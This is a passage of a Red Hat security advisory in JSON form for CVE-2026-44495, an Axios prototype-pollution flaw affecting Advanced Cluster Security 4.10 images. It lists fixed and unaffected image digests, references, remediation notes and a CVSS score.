"text": "This Important vulnerability in Axios, a promise-based HTTP client, can lead to information disclosure, including credential theft and response hijacking, or denial of service. Exploitation requires a separate prototype pollution vulnerability in the same JavaScript process, allowing an attacker to control `Object.prototype.transformResponse`. Red Hat products using affected Axios versions are at risk if another component introduces such pollution.",
"title": "Statement"
},
{
"category": "general",
"text": "The CVSS score(s) listed for this vulnerability do not reflect the associated product\u0027s status, and are included for informational purposes to better understand the severity of this vulnerability.",
"title": "CVSS score applicability"
}
],
"product_status": {
"fixed": [
"Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-main-rhel8@sha256:16792cdca53b00c9f3b8a318270fe2970ee8a8b5b7b54a68f3e3c8412f30d802_s390x",
"Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-main-rhel8@sha256:1c803425800df9af39869d7fe6512c954261a24228f017b8751d6fc93ee14d94_ppc64le",
"Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-main-rhel8@sha256:7a45d15348cd7c48aada943ba0e9d6381f845267873d5c81cfaf501de2a3ae5b_arm64",
"Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-main-rhel8@sha256:89e70cfaebf46d63cd2c3ddcb4f5b44cfca68d8ec7379a00da7266da7a91f20c_amd64"
],
"known_not_affected": [
"Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-central-db-rhel8@sha256:04e380e189febad5d8dcbfaa68643963ab8d65d7089d32e30a1276837605e03a_arm64",
"Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-central-db-rhel8@sha256:10b0b798c4690002c7ffe064b84cf5d0bb6f52045cd15bfe79b15bd68d4fbe8c_s390x",
"Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-central-db-rhel8@sha256:444df0b47d23743e19022b4a92e2ee9dd345598fb31f9b947f0bbdab7f59d90e_ppc64le",
"Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-central-db-rhel8@sha256:a32574be1c7a5a9ef0aa8b8ce4946ffe4920cb72b402eb17d1ca07c43925faef_amd64",
"Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-collector-rhel8@sha256:1563b3a0da76d7b35ecc4c563a8d347e9a558c8043da5c9588ad2f7f943a7ece_s390x",
"Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-collector-rhel8@sha256:56e67cf62ffe4982d358ae06098da48f44175cd63239ebfb711b476404abb31a_amd64",
"Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-collector-rhel8@sha256:e077a56adee93c70cc339a83e47805691758c4e187195b0dd1d567133a5b6661_ppc64le",
"Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-collector-rhel8@sha256:fe09f895ec18082b40abbcd7e546bb4bfeceb8dd4d7f1bed85310096333baa1d_arm64",
"Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-fact-rhel8@sha256:71e40863edd8c6275921449d977c396bf066e3ce87ad2c0e61f80003202637ab_arm64",
"Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-fact-rhel8@sha256:b4789552297c62abde45025c53087f258273431fc4921cab693997bb3aebfaff_amd64",
"Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-operator-bundle@sha256:dbbd62683e39389f91b5937a9d17a414243db53bb901ba7ebe17d24f8c78480e_amd64",
"Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-rhel8-operator@sha256:4713cf6657eee34d58a329610050db2c3884b635260935ca69099be6bdd62400_arm64",
"Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-rhel8-operator@sha256:a7a9a2165e13c9be2ccc1bcc157b33f1c3994256baf43f4ac4a76021c0880278_amd64",
"Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-rhel8-operator@sha256:cde020c47589fd802cda98804da44218f34eec63396efb166a81274617d8acf4_ppc64le",
"Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-rhel8-operator@sha256:ceda1bd9270d37f947b4141be2a134767997f5135003b9d1f2007aed21c53a1e_s390x",
"Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-roxctl-rhel8@sha256:0c5bd402788e93b9795dbaa3dd82272339858972059e0e1017bb12a7a5fa52a1_arm64",
"Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-roxctl-rhel8@sha256:51c6efd982283db3ffeebc152e58874601f1660ce76700c7110d11bca1d06688_amd64",
"Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-roxctl-rhel8@sha256:9ec58aa0b8f1617d0a3e824cadaa8c939dada1f22e98c3a818bd85b0947dd9a5_ppc64le",
"Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-roxctl-rhel8@sha256:a0b8260a0c9b73d802891463c5427d1f3607acd62da928b1e4bd8aa7993649d4_s390x",
"Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-scanner-db-rhel8@sha256:348379199252e9c10cdc6268ce42ce039f12adc6e8e588b8105d2ce1e81ae439_amd64",
"Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-scanner-db-rhel8@sha256:423d831317c9019733c1b2191568dd4f00890a4d4e26ada3067b7ba43a2b9b48_arm64",
"Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-scanner-db-rhel8@sha256:9609056d08c8aff42326b2dea7733dc89ddfa019466c223bc0dfd22822627416_ppc64le",
"Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-scanner-db-rhel8@sha256:b693c67103bee5f49185b7cb2322ff174954b115938f0696d53a25b43f63f972_s390x",
"Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-scanner-db-slim-rhel8@sha256:7624c0fe4943f89cb8ca709a9d84004ffe4a533498d2bba21a83a811e16da2a9_arm64",
"Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-scanner-db-slim-rhel8@sha256:905f591f2e1e2e3dbd17bc8b1f903ae7b5fc8e573f3708eb3a97a70c5dc412dc_s390x",
"Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-scanner-db-slim-rhel8@sha256:cefa60dedb2d65ba3d9324b7d37ef997300720f2e006014c1c79731ed3a1b2ba_amd64",
"Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-scanner-db-slim-rhel8@sha256:f1c6ac0330ce4337dff577ed282f1aaec462027edb0ef3a48db11f8eea9be6e4_ppc64le",
"Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-scanner-rhel8@sha256:43b201e72f0ab1a59dddb5608bc814607ff1138572af3052af0199c468cecc47_arm64",
"Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-scanner-rhel8@sha256:68773c7eebb7f9764e3b0e6a49f7b025896764016896022504b7876ebc269af5_amd64",
"Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-scanner-rhel8@sha256:93ac1f8d14c6402ffa441b692ba8a28f95990a254835c69bf37165164eae895b_s390x",
"Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-scanner-rhel8@sha256:f94d97d4e1c5a2d50b3a7be98032c4f54f7582300d27de605f804d041916a7b6_ppc64le",
"Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-scanner-slim-rhel8@sha256:0cbdb571c33cc7f78a4ace9ac32271cabce2fb585d758972053924440a15d1f7_amd64",
"Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-scanner-slim-rhel8@sha256:27ad8f03033572bac8d6e87a78a49018e5d1b6b4dfd0096365ec8668f1c97771_arm64",
"Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-scanner-slim-rhel8@sha256:91ab6414f8e3559e3a424882dc40fe953990a6ad5efcaeb50fe0a6756f3e20c7_ppc64le",
"Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-scanner-slim-rhel8@sha256:b5ee8b86ee6a8474158e60cfc26a676a355a9ed98076b73f905bca42b1085329_s390x",
"Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-scanner-v4-db-rhel8@sha256:0d0f3c45b3806a428c1dcdb9814699a44d067398854adde5e8f984481496deaf_s390x",
"Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-scanner-v4-db-rhel8@sha256:76c6c09e9315ad9b83ec34d0825a94bdb90effcc072d58f9cf6c6b60ab0365aa_ppc64le",
"Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-scanner-v4-db-rhel8@sha256:8fd4674c282ee4da0095ea9611b25d25c4d70d522976fd7557eb93d07ca09296_arm64",
"Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-scanner-v4-db-rhel8@sha256:f6db822767d0e5c8d3544cdbc565e58880dd1a628465100edef7c5a2d7510abe_amd64",
"Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-scanner-v4-rhel8@sha256:4aab8cb0a2e5b8518bdd01bc0557c7768ca40b080b9a907d5885d3743debb627_s390x",
"Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-scanner-v4-rhel8@sha256:e5659b1d9790c4bd5df3093b0a36dd4a0ca64ba224924d37e9dafc6aff5c83df_amd64",
"Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-scanner-v4-rhel8@sha256:ea9fba7212bc0621e1ed6b030b4c8a1fbe3a0f2491b6fdc192c14f8ef7a6ae27_arm64",
"Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-scanner-v4-rhel8@sha256:fa3a268f648bce0d881c1b26395cbf16f4d556483e4455f17dfa5968438d4152_ppc64le"
]
},
"references": [
{
"category": "self",
"summary": "Canonical URL",
"url": "https://access.redhat.com/security/cve/CVE-2026-44495"
},
{
"category": "external",
"summary": "RHBZ#2487937",
"url": "https://bugzilla.redhat.com/show_bug.cgi?id=2487937"
},
{
"category": "external",
"summary": "https://www.cve.org/CVERecord?id=CVE-2026-44495",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-44495"
},
{
"category": "external",
"summary": "https://nvd.nist.gov/vuln/detail/CVE-2026-44495",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-44495"
},
{
"category": "external",
"summary": "https://github.com/axios/axios/security/advisories/GHSA-3g43-6gmg-66jw",
"url": "https://github.com/axios/axios/security/advisories/GHSA-3g43-6gmg-66jw"
}
],
"release_date": "2026-06-11T15:33:12.433000+00:00",
"remediations": [
{
"category": "vendor_fix",
"date": "2026-05-26T11:34:12+00:00",
"details": "If you are using an earlier version of RHACS, you are advised to\nupgrade to the version of RHACS mentioned in the synopsis and release\nnotes in order to take advantage of the enhancements, bug fixes, and/or\nsecurity patches in the release.",
"product_ids": [
"Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-main-rhel8@sha256:16792cdca53b00c9f3b8a318270fe2970ee8a8b5b7b54a68f3e3c8412f30d802_s390x",
"Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-main-rhel8@sha256:1c803425800df9af39869d7fe6512c954261a24228f017b8751d6fc93ee14d94_ppc64le",
"Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-main-rhel8@sha256:7a45d15348cd7c48aada943ba0e9d6381f845267873d5c81cfaf501de2a3ae5b_arm64",
"Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-main-rhel8@sha256:89e70cfaebf46d63cd2c3ddcb4f5b44cfca68d8ec7379a00da7266da7a91f20c_amd64"
],
"restart_required": {
"category": "none"
},
"url": "https://access.redhat.com/errata/RHSA-2026:20889"
},
{
"category": "workaround",
"details": "Mitigation for this issue is either not available or the currently available options do not meet the Red Hat Product Security criteria comprising ease of use and deployment, applicability to widespread installation base or stability.",
"product_ids": [
"Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-central-db-rhel8@sha256:04e380e189febad5d8dcbfaa68643963ab8d65d7089d32e30a1276837605e03a_arm64",
"Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-central-db-rhel8@sha256:10b0b798c4690002c7ffe064b84cf5d0bb6f52045cd15bfe79b15bd68d4fbe8c_s390x",
"Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-central-db-rhel8@sha256:444df0b47d23743e19022b4a92e2ee9dd345598fb31f9b947f0bbdab7f59d90e_ppc64le",
"Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-central-db-rhel8@sha256:a32574be1c7a5a9ef0aa8b8ce4946ffe4920cb72b402eb17d1ca07c43925faef_amd64",
"Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-collector-rhel8@sha256:1563b3a0da76d7b35ecc4c563a8d347e9a558c8043da5c9588ad2f7f943a7ece_s390x",
"Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-collector-rhel8@sha256:56e67cf62ffe4982d358ae06098da48f44175cd63239ebfb711b476404abb31a_amd64",
"Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-collector-rhel8@sha256:e077a56adee93c70cc339a83e47805691758c4e187195b0dd1d567133a5b6661_ppc64le",
"Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-collector-rhel8@sha256:fe09f895ec18082b40abbcd7e546bb4bfeceb8dd4d7f1bed85310096333baa1d_arm64",
"Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-fact-rhel8@sha256:71e40863edd8c6275921449d977c396bf066e3ce87ad2c0e61f80003202637ab_arm64",
"Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-fact-rhel8@sha256:b4789552297c62abde45025c53087f258273431fc4921cab693997bb3aebfaff_amd64",
"Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-main-rhel8@sha256:16792cdca53b00c9f3b8a318270fe2970ee8a8b5b7b54a68f3e3c8412f30d802_s390x",
"Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-main-rhel8@sha256:1c803425800df9af39869d7fe6512c954261a24228f017b8751d6fc93ee14d94_ppc64le",
"Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-main-rhel8@sha256:7a45d15348cd7c48aada943ba0e9d6381f845267873d5c81cfaf501de2a3ae5b_arm64",
"Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-main-rhel8@sha256:89e70cfaebf46d63cd2c3ddcb4f5b44cfca68d8ec7379a00da7266da7a91f20c_amd64",
"Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-operator-bundle@sha256:dbbd62683e39389f91b5937a9d17a414243db53bb901ba7ebe17d24f8c78480e_amd64",
"Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-rhel8-operator@sha256:4713cf6657eee34d58a329610050db2c3884b635260935ca69099be6bdd62400_arm64",
"Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-rhel8-operator@sha256:a7a9a2165e13c9be2ccc1bcc157b33f1c3994256baf43f4ac4a76021c0880278_amd64",
"Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-rhel8-operator@sha256:cde020c47589fd802cda98804da44218f34eec63396efb166a81274617d8acf4_ppc64le",
"Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-rhel8-operator@sha256:ceda1bd9270d37f947b4141be2a134767997f5135003b9d1f2007aed21c53a1e_s390x",
"Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-roxctl-rhel8@sha256:0c5bd402788e93b9795dbaa3dd82272339858972059e0e1017bb12a7a5fa52a1_arm64",
"Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-roxctl-rhel8@sha256:51c6efd982283db3ffeebc152e58874601f1660ce76700c7110d11bca1d06688_amd64",
"Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-roxctl-rhel8@sha256:9ec58aa0b8f1617d0a3e824cadaa8c939dada1f22e98c3a818bd85b0947dd9a5_ppc64le",
"Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-roxctl-rhel8@sha256:a0b8260a0c9b73d802891463c5427d1f3607acd62da928b1e4bd8aa7993649d4_s390x",
"Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-scanner-db-rhel8@sha256:348379199252e9c10cdc6268ce42ce039f12adc6e8e588b8105d2ce1e81ae439_amd64",
"Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-scanner-db-rhel8@sha256:423d831317c9019733c1b2191568dd4f00890a4d4e26ada3067b7ba43a2b9b48_arm64",
"Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-scanner-db-rhel8@sha256:9609056d08c8aff42326b2dea7733dc89ddfa019466c223bc0dfd22822627416_ppc64le",
"Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-scanner-db-rhel8@sha256:b693c67103bee5f49185b7cb2322ff174954b115938f0696d53a25b43f63f972_s390x",
"Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-scanner-db-slim-rhel8@sha256:7624c0fe4943f89cb8ca709a9d84004ffe4a533498d2bba21a83a811e16da2a9_arm64",
"Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-scanner-db-slim-rhel8@sha256:905f591f2e1e2e3dbd17bc8b1f903ae7b5fc8e573f3708eb3a97a70c5dc412dc_s390x",
"Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-scanner-db-slim-rhel8@sha256:cefa60dedb2d65ba3d9324b7d37ef997300720f2e006014c1c79731ed3a1b2ba_amd64",
"Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-scanner-db-slim-rhel8@sha256:f1c6ac0330ce4337dff577ed282f1aaec462027edb0ef3a48db11f8eea9be6e4_ppc64le",
"Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-scanner-rhel8@sha256:43b201e72f0ab1a59dddb5608bc814607ff1138572af3052af0199c468cecc47_arm64",
"Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-scanner-rhel8@sha256:68773c7eebb7f9764e3b0e6a49f7b025896764016896022504b7876ebc269af5_amd64",
"Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-scanner-rhel8@sha256:93ac1f8d14c6402ffa441b692ba8a28f95990a254835c69bf37165164eae895b_s390x",
"Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-scanner-rhel8@sha256:f94d97d4e1c5a2d50b3a7be98032c4f54f7582300d27de605f804d041916a7b6_ppc64le",
"Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-scanner-slim-rhel8@sha256:0cbdb571c33cc7f78a4ace9ac32271cabce2fb585d758972053924440a15d1f7_amd64",
"Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-scanner-slim-rhel8@sha256:27ad8f03033572bac8d6e87a78a49018e5d1b6b4dfd0096365ec8668f1c97771_arm64",
"Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-scanner-slim-rhel8@sha256:91ab6414f8e3559e3a424882dc40fe953990a6ad5efcaeb50fe0a6756f3e20c7_ppc64le",
"Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-scanner-slim-rhel8@sha256:b5ee8b86ee6a8474158e60cfc26a676a355a9ed98076b73f905bca42b1085329_s390x",
"Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-scanner-v4-db-rhel8@sha256:0d0f3c45b3806a428c1dcdb9814699a44d067398854adde5e8f984481496deaf_s390x",
"Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-scanner-v4-db-rhel8@sha256:76c6c09e9315ad9b83ec34d0825a94bdb90effcc072d58f9cf6c6b60ab0365aa_ppc64le",
"Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-scanner-v4-db-rhel8@sha256:8fd4674c282ee4da0095ea9611b25d25c4d70d522976fd7557eb93d07ca09296_arm64",
"Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-scanner-v4-db-rhel8@sha256:f6db822767d0e5c8d3544cdbc565e58880dd1a628465100edef7c5a2d7510abe_amd64",
"Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-scanner-v4-rhel8@sha256:4aab8cb0a2e5b8518bdd01bc0557c7768ca40b080b9a907d5885d3743debb627_s390x",
"Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-scanner-v4-rhel8@sha256:e5659b1d9790c4bd5df3093b0a36dd4a0ca64ba224924d37e9dafc6aff5c83df_amd64",
"Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-scanner-v4-rhel8@sha256:ea9fba7212bc0621e1ed6b030b4c8a1fbe3a0f2491b6fdc192c14f8ef7a6ae27_arm64",
"Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-scanner-v4-rhel8@sha256:fa3a268f648bce0d881c1b26395cbf16f4d556483e4455f17dfa5968438d4152_ppc64le"
]
}
],
"scores": [
{
"cvss_v3": {
"attackComplexity": "HIGH",
"attackVector": "NETWORK",
"availabilityImpact": "LOW",
"baseScore": 7.0,
"baseSeverity": "HIGH",
"confidentialityImpact": "HIGH",
"integrityImpact": "LOW",
"privilegesRequired": "NONE",
"scope": "UNCHANGED",
"userInteraction": "NONE",
"vectorString": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:L/A:L",
"version": "3.1"
},
"products": [
"Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-central-db-rhel8@sha256:04e380e189febad5d8dcbfaa68643963ab8d65d7089d32e30a1276837605e03a_arm64",
"Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-central-db-rhel8@sha256:10b0b798c4690002c7ffe064b84cf5d0bb6f52045cd15bfe79b15bd68d4fbe8c_s390x",
"Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-central-db-rhel8@sha256:444df0b47d23743e19022b4a92e2ee9dd345598fb31f9b947f0bbdab7f59d90e_ppc64le",
"Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-central-db-rhel8@sha256:a32574be1c7a5a9ef0aa8b8ce4946ffe4920cb72b402eb17d1ca07c43925faef_amd64",
"Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-collector-rhel8@sha256:1563b3a0da76d7b35ecc4c563a8d347e9a558c8043da5c9588ad2f7f943a7ece_s390x",
"Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-collector-rhel8@sha256:56e67cf62ffe4982d358ae06098da48f44175cd63239ebfb711b476404abb31a_amd64",
"Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-collector-rhel8@sha256:e077a56adee93c70cc339a83e47805691758c4e187195b0dd1d567133a5b6661_ppc64le",
"Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-collector-rhel8@sha256:fe09f895ec18082b40abbcd7e546bb4bfeceb8dd4d7f1bed85310096333baa1d_arm64",
"Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-fact-rhel8@sha256:71e40863edd8c6275921449d977c396bf066e3ce87ad2c0e61f80003202637ab_arm64",
"Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-fact-rhel8@sha256:b4789552297c62abde45025c53087f258273431fc4921cab693997bb3aebfaff_amd64",
"Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-main-rhel8@sha256:16792cdca53b00c9f3b8a318270fe2970ee8a8b5b7b54a68f3e3c8412f30d802_s390x",
"Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-main-rhel8@sha256:1c803425800df9af39869d7fe6512c954261a24228f017b8751d6fc93ee14d94_ppc64le",
"Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-main-rhel8@sha256:7a45d15348cd7c48aada943ba0e9d6381f845267873d5c81cfaf501de2a3ae5b_arm64",
"Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-main-rhel8@sha256:89e70cfaebf46d63cd2c3ddcb4f5b44cfca68d8ec7379a00da7266da7a91f20c_amd64",
"Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-operator-bundle@sha256:dbbd62683e39389f91b5937a9d17a414243db53bb901ba7ebe17d24f8c78480e_amd64",
"Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-rhel8-operator@sha256:4713cf6657eee34d58a329610050db2c3884b635260935ca69099be6bdd62400_arm64",
"Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-rhel8-operator@sha256:a7a9a2165e13c9be2ccc1bcc157b33f1c3994256baf43f4ac4a76021c0880278_amd64",
"Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-rhel8-operator@sha256:cde020c47589fd802cda98804da44218f34eec63396efb166a81274617d8acf4_ppc64le",
"Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-rhel8-operator@sha256:ceda1bd9270d37f947b4141be2a134767997f5135003b9d1f2007aed21c53a1e_s390x",
"Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-roxctl-rhel8@sha256:0c5bd402788e93b9795dbaa3dd82272339858972059e0e1017bb12a7a5fa52a1_arm64",
"Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-roxctl-rhel8@sha256:51c6efd982283db3ffeebc152e58874601f1660ce76700c7110d11bca1d06688_amd64",
"Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-roxctl-rhel8@sha256:9ec58aa0b8f1617d0a3e824cadaa8c939dada1f22e98c3a818bd85b0947dd9a5_ppc64le",
"Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-roxctl-rhel8@sha256:a0b8260a0c9b73d802891463c5427d1f3607acd62da928b1e4bd8aa7993649d4_s390x",
